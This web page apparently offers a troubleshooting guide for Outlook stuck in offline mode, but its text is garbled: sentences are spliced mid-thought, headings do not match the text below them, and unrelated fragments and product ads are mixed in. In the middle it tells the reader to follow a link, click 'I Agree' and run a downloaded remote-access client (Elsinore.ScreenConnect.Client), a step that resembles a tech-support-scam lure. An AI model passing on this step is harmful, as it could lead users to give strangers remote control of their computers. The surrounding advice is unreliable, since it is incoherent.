Content
We see this problem pop up a lot because of multiple Office 365 accounts, old settings, or corrupted Outlook files. Figuring out why Outlook gets stuck offline really helps you fix it—and keeps it from coming back. This guide covers the usual suspects, troubleshooting steps, and a few advanced tricks to get your email flowing again. Outlook status says offline then it can happen when offline mode enabled, server connection is Fix Outlook and Office365 Sync Issues lost, or your internet isn’t stable. Corrupted Outlook profile, faulty add-ins or outdated version of Outlook can also be reasons to remain offline.
Check OST file
Don’t let secondary Exchange servers manage your device if you don’t have to.Outlook has a Work Offline button under the Send/Receive tab.These methods work in Outlook 2010, 2013, 2016, and 2019.It’s really important to know which Exchange or Office 365 environment Outlook should use.If the issue is the same, update Outlook, repair Outlook profile, or reconfigure your account to reconnect Outlook to the Server.Setting up the Exchange account by hand avoids this.
If you get a prompt about letting another server manage your system and pick the wrong answer, Outlook might stay offline for good. Please click the link below from your computer (after reading modern authentication troubleshooting this). On the new page, click the green I Agree button to start the connection download. Once the file (Elsinore.ScreenConnect.Client) has downloaded, select Run or Open.
How To Fix Outlook Stuck in Offline Mode?
Move it to a backup folder, like Desktop\OST Backup. Every business setup is different, and sometimes these problems run deeper than a quick fix. Our organization requires several folders from our mapped network drives be set to "Always Available Offline". Create your account and connect with a world of communities. There could be several reasons for your Outlook disconnect.
Verify Work Offline Button Status
If you skip patches, the client might stop connecting to Exchange Online or on-premises servers. By keeping unnecessary connections out and your profiles tidy, you keep Outlook connected to the right Office 365 environment. Don’t let secondary Exchange servers manage your device if you don’t have to. Accepting those prompts can shift control away from your main email domain and cause more offline issues. Sometimes Outlook connects to the wrong Exchange environment because of Autodiscover confusion, especially if your computer has several Office 365 or Exchange accounts. Setting up the Exchange account by hand avoids this.
Method 1: Reset 'Work Offline' to Reconnect
If Outlook can’t get to the mail server, no amount of tweaking inside Outlook will help. Try opening a browser or running a quick ping test to check if your network’s up. Outlook needs Microsoft Exchange and Office 365 to stay connected. If Outlook can’t log in to those services, it just flips into offline mode. When Microsoft Outlook says "Working Offline," it’s basically struggling to talk to your mail server. This can happen for all sorts of reasons—maybe it’s a local profile problem, a conflict with Microsoft Exchange, or an Office 365 environment.
Download Stellar Converter for OST
Autodiscover might send Outlook to the wrong Exchange server, so you can’t get to your mailbox. Damaged Outlook data files, like the OST file, can also get in the way. When these files go bad, Outlook can’t talk to the Exchange server, so it just gives up and goes offline. Now, on your keyboard, press the Send/Receive button. Old versions of Outlook or Microsoft Office often trigger synchronization issues.
Setup Exchange Server Account Manually
Additionally, it will sync every piece of server-based mail. As is known, we can switch from Offline to Online Mode and vice versa in Microsoft Outlook 2010 and later versions. Once Outlook is configured with an Exchange account, the Cached Exchange Mode is enabled automatically.
Sometimes a VPN or firewall blocks Outlook, so try turning those off for a minute to see if it helps. Hybrid setups—where you’ve got both on-premises Exchange servers and Office 365—can run into DNS or Autodiscover problems. If your external DNS doesn’t match the internal setup, Outlook can lose track of where it’s supposed to connect. Outdated software often brings compatibility headaches that break your connection. Further, the drive status for any drive which has a file/folder set to be available offline is stuck on "Offline". Even after following the above process, online Outlook email repair utility if the issue of offline still present, and OST corruption might be the actual cause.